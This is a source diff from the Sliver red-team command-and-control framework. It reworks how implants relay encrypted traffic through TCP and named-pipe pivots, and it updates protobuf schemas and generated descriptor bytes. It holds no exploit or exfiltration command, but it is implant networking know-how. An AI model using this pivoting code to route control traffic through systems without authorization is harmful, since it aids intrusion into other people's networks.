log.Printf("[pivot] Unexpected message type: %v", serverKeyExchangeResp.Type)
|
||||
log.Printf("[pivot] Unexpected message type: %v", serverKeyExRespEnvelope.Type)
|
||||
// {{end}}
|
||||
return errors.New("server key exchange failure")
|
||||
}
|
||||
|
||||
serverKeyExResp := &pb.PivotServerKeyExchange{}
|
||||
err = proto.Unmarshal(serverKeyExRespEnvelope.Data, serverKeyExResp)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error un-marshaling server key exchange response: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
// Just make sure we can parse the bytes
|
||||
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExchangeResp.Data).Bytes()
|
||||
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExResp.SessionKey).Bytes()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Pivot session ID: %s",
|
||||
uuid.FromBytesOrNil(serverKeyExchangeResp.Data).String(),
|
||||
uuid.FromBytesOrNil(p.pivotSessionID).String(),
|
||||
)
|
||||
// {{end}}
|
||||
|
||||
@@ -274,9 +281,9 @@ func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
return err
|
||||
}
|
||||
var peerPlaintext []byte
|
||||
if envelope.Type != pb.MsgPivotPeerPing {
|
||||
// Prepend the message with the pivot session ID
|
||||
// note this can only be done after the server key change
|
||||
|
||||
// Do not wrap pivot messages since we're not the origin
|
||||
if envelope.Type != pb.MsgPivotPeerPing && envelope.Type != pb.MsgPivotPeerEnvelope {
|
||||
ciphertext, err := p.serverCipherCtx.Encrypt(plaintext)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -284,15 +291,27 @@ func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
msgBuf := make([]byte, len(p.pivotSessionID)+len(ciphertext))
|
||||
copy(msgBuf, p.pivotSessionID)
|
||||
copy(msgBuf[len(p.pivotSessionID):], ciphertext)
|
||||
peerPlaintext, _ = proto.Marshal(&pb.Envelope{
|
||||
Type: pb.MsgPivotOriginEnvelope,
|
||||
Data: msgBuf,
|
||||
peerData, err := proto.Marshal(&pb.PivotPeerEnvelope{
|
||||
Type: pb.MsgPivotSessionEnvelope,
|
||||
Peers: []*pb.PivotPeer{
|
||||
{PeerID: pivots.MyPeerID, Name: consts.SliverName},
|
||||
},
|
||||
PivotSessionID: p.pivotSessionID,
|
||||
Data: ciphertext,
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Marshaling peer error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
peerPlaintext, _ = proto.Marshal(&pb.Envelope{
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: peerData,
|
||||
})
|
||||
|
||||
} else {
|
||||
// Pivot pings are not encrypted with the sever key
|
||||
// Pivot pings and existing peer envelopes are not encrypted with the sever key
|
||||
peerPlaintext = plaintext
|
||||
}
|
||||
|
||||
@@ -322,24 +341,46 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
peerEnvelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(data, peerEnvelope)
|
||||
incomingEnvelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(data, incomingEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unmarshal origin envelope: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Received incoming envelope: %+v", incomingEnvelope)
|
||||
// {{end}}
|
||||
|
||||
// The only msg type that isn't encrypted by the server should be pivot pings
|
||||
if peerEnvelope.Type == pb.MsgPivotPeerPing {
|
||||
return peerEnvelope, nil
|
||||
if incomingEnvelope.Type == pb.MsgPivotPeerPing {
|
||||
return incomingEnvelope, nil
|
||||
}
|
||||
if peerEnvelope.Type != pb.MsgPivotOriginEnvelope {
|
||||
if incomingEnvelope.Type != pb.MsgPivotPeerEnvelope {
|
||||
return nil, errors.New("invalid message type")
|
||||
}
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err = proto.Unmarshal(incomingEnvelope.Data, peerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unexpected envelope type (non-origin)")
|
||||
log.Printf("[pivot] Error unmarshal peer envelope: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
if len(peerEnvelope.Peers) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Empty peer list")
|
||||
// {{end}}
|
||||
return nil, errors.New("empty peer list")
|
||||
}
|
||||
|
||||
// If we're not the origin this peer envelope is not for us
|
||||
if peerEnvelope.Peers[0].PeerID != pivots.MyPeerID {
|
||||
return incomingEnvelope, nil
|
||||
}
|
||||
|
||||
plaintext, err := p.serverCipherCtx.Decrypt(peerEnvelope.Data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -349,13 +390,7 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(plaintext, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unmarshal envelope: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
return envelope, nil
|
||||
return envelope, err
|
||||
}
|
||||
|
||||
// CloseSession - Close the TCP pivot session
|
||||
|
||||
@@ -237,7 +237,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
|
||||
// *** Named Pipe ***
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
connection, err = namedPipeConnect(uri)
|
||||
if err == nil {
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Connection failed %s", err)
|
||||
// {{end}}
|
||||
@@ -717,7 +717,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
IsOpen: true,
|
||||
cleanup: func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] lost connection, cleanup...")
|
||||
log.Printf("[tcp pivot] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
pingCtrl <- struct{}{}
|
||||
close(send)
|
||||
@@ -728,7 +728,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
connection.Stop = func() error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] Stop()")
|
||||
log.Printf("[tcp pivot] Stop()")
|
||||
// {{end}}
|
||||
connection.Cleanup()
|
||||
return nil
|
||||
@@ -762,7 +762,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] server ping...")
|
||||
log.Printf("[tcp pivot] server ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
@@ -781,7 +781,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
}()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
|
||||
log.Printf("[tcp pivot] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
pivot.WriteEnvelope(envelope)
|
||||
}
|
||||
@@ -796,26 +796,26 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] read envelope error: %s", err)
|
||||
log.Printf("[tcp pivot] read envelope error: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if envelope == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] read nil envelope")
|
||||
log.Printf("[tcp pivot] read nil envelope")
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if envelope.Type == pb.MsgPivotPeerPing {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] received peer pong")
|
||||
log.Printf("[tcp pivot] received peer pong")
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] Receive loop envelope type %d\n", envelope.Type)
|
||||
log.Printf("[tcp pivot] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"io"
|
||||
"net/url"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -33,17 +34,14 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/pivotclients"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
opts := &pivotclients.NamedPipePivotOptions{}
|
||||
client, err := pivotclients.NamedPipePivotStartSession(uri, opts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan struct{}, 1)
|
||||
pingCtrl := make(chan struct{}, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
@@ -64,37 +62,94 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
connection.Stop = func() error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[named-pipe] Stop()")
|
||||
log.Printf("[namedpipe] Stop()")
|
||||
// {{end}}
|
||||
connection.Cleanup()
|
||||
return nil
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
client.WriteEnvelope(envelope)
|
||||
connection.Start = func() error {
|
||||
opts := pivotclients.ParseNamedPipePivotOptions(uri)
|
||||
pivot, err := pivotclients.NamedPipePivotStartSession(uri, opts)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-pingCtrl:
|
||||
return
|
||||
case <-time.After(time.Minute):
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: data,
|
||||
}
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] server ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
Type: pb.MsgPivotServerPing,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := client.ReadEnvelope()
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
go func() {
|
||||
defer func() {
|
||||
connection.Cleanup()
|
||||
}()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
pivot.WriteEnvelope(envelope)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := pivot.ReadEnvelope()
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] read envelope error: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if envelope == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] read nil envelope")
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if envelope.Type == pb.MsgPivotPeerPing {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] received peer pong")
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
+960
-776
File diff suppressed because it is too large.
Load diff
@@ -21,7 +21,7 @@ message Version {
|
||||
|
||||
// [ Core ] ----------------------------------------
|
||||
message Session {
|
||||
uint32 ID = 1;
|
||||
string ID = 1;
|
||||
string Name = 2;
|
||||
string Hostname = 3;
|
||||
string UUID = 4;
|
||||
@@ -44,6 +44,7 @@ message Session {
|
||||
bool Burned = 22;
|
||||
repeated string Extensions = 23;
|
||||
// string ConfigID = 24;
|
||||
int64 PeerID = 25;
|
||||
}
|
||||
|
||||
message Beacon {
|
||||
@@ -67,13 +68,14 @@ message Beacon {
|
||||
bool IsDead = 18;
|
||||
|
||||
string ProxyURL = 20;
|
||||
int64 Interval = 21;
|
||||
int64 Jitter = 22;
|
||||
bool Burned = 23;
|
||||
int64 NextCheckin = 24;
|
||||
int64 ReconnectInterval = 21;
|
||||
int64 Interval = 22;
|
||||
int64 Jitter = 23;
|
||||
bool Burned = 24;
|
||||
int64 NextCheckin = 25;
|
||||
|
||||
int64 TasksCount = 25;
|
||||
int64 TasksCountCompleted = 26;
|
||||
int64 TasksCount = 26;
|
||||
int64 TasksCountCompleted = 27;
|
||||
}
|
||||
|
||||
message Beacons {
|
||||
@@ -337,7 +339,7 @@ message Sessions {
|
||||
}
|
||||
|
||||
message UpdateSession {
|
||||
uint32 SessionID = 1;
|
||||
string SessionID = 1;
|
||||
string Name = 2;
|
||||
int64 ReconnectInterval = 3;
|
||||
int64 PollInterval = 4;
|
||||
@@ -453,6 +455,18 @@ message CloseTunnelReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
// [ Pivots ] ----------------------------------------
|
||||
message PivotGraphEntry {
|
||||
int64 PeerID = 1;
|
||||
Session Session = 2;
|
||||
string Name = 3;
|
||||
repeated PivotGraphEntry Children = 4;
|
||||
}
|
||||
|
||||
message PivotGraph {
|
||||
repeated PivotGraphEntry Children = 1;
|
||||
}
|
||||
|
||||
// [ Events ] ----------------------------------------
|
||||
message Client {
|
||||
uint32 ID = 1;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// protoc v3.19.2
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
@@ -67,7 +67,7 @@ type Request struct {
|
||||
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
|
||||
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
|
||||
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
|
||||
SessionID uint32 `protobuf:"varint,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
|
||||
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
|
||||
}
|
||||
|
||||
func (x *Request) Reset() {
|
||||
@@ -123,11 +123,11 @@ func (x *Request) GetBeaconID() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *Request) GetSessionID() uint32 {
|
||||
func (x *Request) GetSessionID() string {
|
||||
if x != nil {
|
||||
return x.SessionID
|
||||
}
|
||||
return 0
|
||||
return ""
|
||||
}
|
||||
|
||||
// Response - Common fields used in all gRPC responses. Note that the Err field
|
||||
@@ -416,7 +416,7 @@ var file_commonpb_common_proto_rawDesc = []byte{
|
||||
0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49,
|
||||
0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49,
|
||||
0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09,
|
||||
0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22,
|
||||
0x66, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45,
|
||||
0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a,
|
||||
0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73,
|
||||
|
||||
@@ -14,7 +14,7 @@ message Request {
|
||||
int64 Timeout = 2;
|
||||
|
||||
string BeaconID = 8;
|
||||
uint32 SessionID = 9;
|
||||
string SessionID = 9;
|
||||
}
|
||||
|
||||
// Response - Common fields used in all gRPC responses. Note that the Err field
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// protoc v3.19.2
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
+417
-395
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// protoc v3.19.2
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x32, 0x9d, 0x34, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x74, 0x6f, 0x32, 0xe4, 0x35, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
|
||||
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
|
||||
@@ -306,153 +306,165 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
|
||||
0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
|
||||
0x70, 0x74, 0x79, 0x12, 0x47, 0x0a, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74,
|
||||
0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
|
||||
0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x40, 0x0a, 0x0c,
|
||||
0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72,
|
||||
0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73,
|
||||
0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73,
|
||||
0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
|
||||
0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70,
|
||||
0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
|
||||
0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69,
|
||||
0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72,
|
||||
0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
|
||||
0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74,
|
||||
0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
|
||||
0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65,
|
||||
0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72,
|
||||
0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e,
|
||||
0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72,
|
||||
0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42,
|
||||
0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12,
|
||||
0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76,
|
||||
0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e,
|
||||
0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12,
|
||||
0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54,
|
||||
0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06,
|
||||
0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53,
|
||||
0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08,
|
||||
0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
